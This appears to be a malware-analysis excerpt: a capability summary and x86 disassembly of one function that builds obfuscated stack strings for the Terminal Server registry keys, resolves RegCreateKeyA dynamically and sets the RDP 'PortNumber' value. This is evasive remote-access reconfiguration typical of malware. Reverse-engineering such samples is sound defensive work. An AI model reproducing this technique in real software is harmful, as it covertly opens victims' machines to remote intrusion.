Function at 0x405ca0
Capabilities:
Contain obfuscated stackstrings
Rebuild import table
Set registry value

Disassembly:
sub esp, 0x94
push ebx
push esi
push edi
mov edi, ecx
mov cl, 0x5c
mov al, 0x72
mov bl, 0x6e
mov dl, 0x74
mov byte [esp + 0x58], 0x53
mov byte [esp + 0x59], 0x59
mov byte [esp + 0x5a], 0x53
mov byte [esp + 0x5b], 0x54
mov byte [esp + 0x5c], 0x45
mov byte [esp + 0x5d], 0x4d
mov byte [esp + 0x5e], cl
mov byte [esp + 0x5f], 0x43
mov byte [esp + 0x60], 0x75
mov byte [esp + 0x61], al
mov byte [esp + 0x62], al
mov byte [esp + 0x63], 0x65
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], dl
mov byte [esp + 0x66], 0x43
mov byte [esp + 0x67], 0x6f
mov byte [esp + 0x68], bl
mov byte [esp + 0x69], dl
mov byte [esp + 0x6a], al
mov byte [esp + 0x6b], 0x6f
mov byte [esp + 0x6c], 0x6c
mov byte [esp + 0x6d], 0x53
mov byte [esp + 0x6e], 0x65
mov byte [esp + 0x6f], dl
mov byte [esp + 0x70], cl
mov byte [esp + 0x71], 0x43
mov byte [esp + 0x72], 0x6f
mov byte [esp + 0x73], bl
mov byte [esp + 0x74], dl
mov byte [esp + 0x75], al
mov byte [esp + 0x76], 0x6f
mov byte [esp + 0x77], 0x6c
mov byte [esp + 0x78], cl
mov byte [esp + 0x79], 0x54
mov byte [esp + 0x7a], 0x65
mov byte [esp + 0x7b], al
mov byte [esp + 0x7c], 0x6d
mov byte [esp + 0x7d], 0x69
mov byte [esp + 0x7e], bl
mov byte [esp + 0x7f], 0x61
mov byte [esp + 0x80], 0x6c
mov byte [esp + 0x81], 0x20
mov byte [esp + 0x82], 0x53
mov byte [esp + 0x83], 0x65
mov byte [esp + 0x84], al
mov byte [esp + 0x85], 0x76
mov byte [esp + 0x86], 0x65
mov byte [esp + 0x87], al
mov byte [esp + 0x88], cl
mov byte [esp + 0x89], 0x57
mov byte [esp + 0x8a], 0x64
mov byte [esp + 0x8b], 0x73
mov byte [esp + 0x8c], cl
mov byte [esp + 0x8d], al
mov byte [esp + 0x8e], 0x64
mov byte [esp + 0x8f], 0x70
mov byte [esp + 0x90], 0x77
mov byte [esp + 0x91], 0x64
mov byte [esp + 0x92], cl
mov byte [esp + 0x93], 0x54
mov byte [esp + 0x94], 0x64
mov byte [esp + 0x95], 0x73
mov byte [esp + 0x96], cl
mov byte [esp + 0x97], dl
mov byte [esp + 0x98], 0x63
mov byte [esp + 0x99], 0x70
mov byte [esp + 0x9a], cl
mov byte [esp + 0x9b], 0
mov byte [esp + 0x10], 0x53
mov byte [esp + 0x11], 0x59
mov byte [esp + 0x12], 0x53
mov byte [esp + 0x13], 0x54
mov byte [esp + 0x14], 0x45
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x22], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x33], al
mov byte [esp + 0x3c], al
mov byte [esp + 0x3f], al
mov eax, dword [esp + 0xa4]
push eax
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], 0x43
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1f], 0x65
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], 0x43
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x29], 0x53
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], cl
mov byte [esp + 0x2d], 0x43
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], dl
mov byte [esp + 0x32], 0x6f
mov byte [esp + 0x33], 0x6c
mov byte [esp + 0x34], cl
mov byte [esp + 0x35], 0x54
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x38], 0x6d
mov byte [esp + 0x39], 0x69
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x61
mov byte [esp + 0x3c], 0x6c
mov byte [esp + 0x3d], 0x20
mov byte [esp + 0x3e], 0x53
mov byte [esp + 0x3f], 0x65
mov byte [esp + 0x41], 0x76
mov byte [esp + 0x42], 0x65
mov byte [esp + 0x44], cl
mov byte [esp + 0x45], 0x57
mov byte [esp + 0x46], 0x69
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x53
mov byte [esp + 0x49], dl
mov byte [esp + 0x4a], 0x61
mov byte [esp + 0x4b], dl
mov byte [esp + 0x4c], 0x69
mov byte [esp + 0x4d], 0x6f
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], 0x73
mov byte [esp + 0x50], cl
mov byte [esp + 0x51], 0x52
mov byte [esp + 0x52], 0x44
mov byte [esp + 0x53], 0x50
mov byte [esp + 0x54], 0x2d
mov byte [esp + 0x55], 0x54
mov byte [esp + 0x56], 0x63
mov byte [esp + 0x57], 0x70
mov byte [esp + 0x58], cl
mov byte [esp + 0x59], 0
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [esp + 0x9c], eax
push str.RegCreateKeyA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x58]
push ecx
push edx
mov esi, eax
push getsockname
call esi
mov ecx, dword [esp + 0xc]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [esp + 0x9c]
push 4
push eax
push 4
push 0
push str.PortNumber
push ecx
call ebx
lea edx, [esp + 0xc]
lea eax, [esp + 0x10]
push edx
push eax
push getsockname
call esi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x9c]
push 4
push ecx
push 4
push 0
push str.PortNumber
push edx
call ebx
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, edi
call fcn.00405280
pop edi
pop esi
pop ebx
add esp, 0x94
ret 8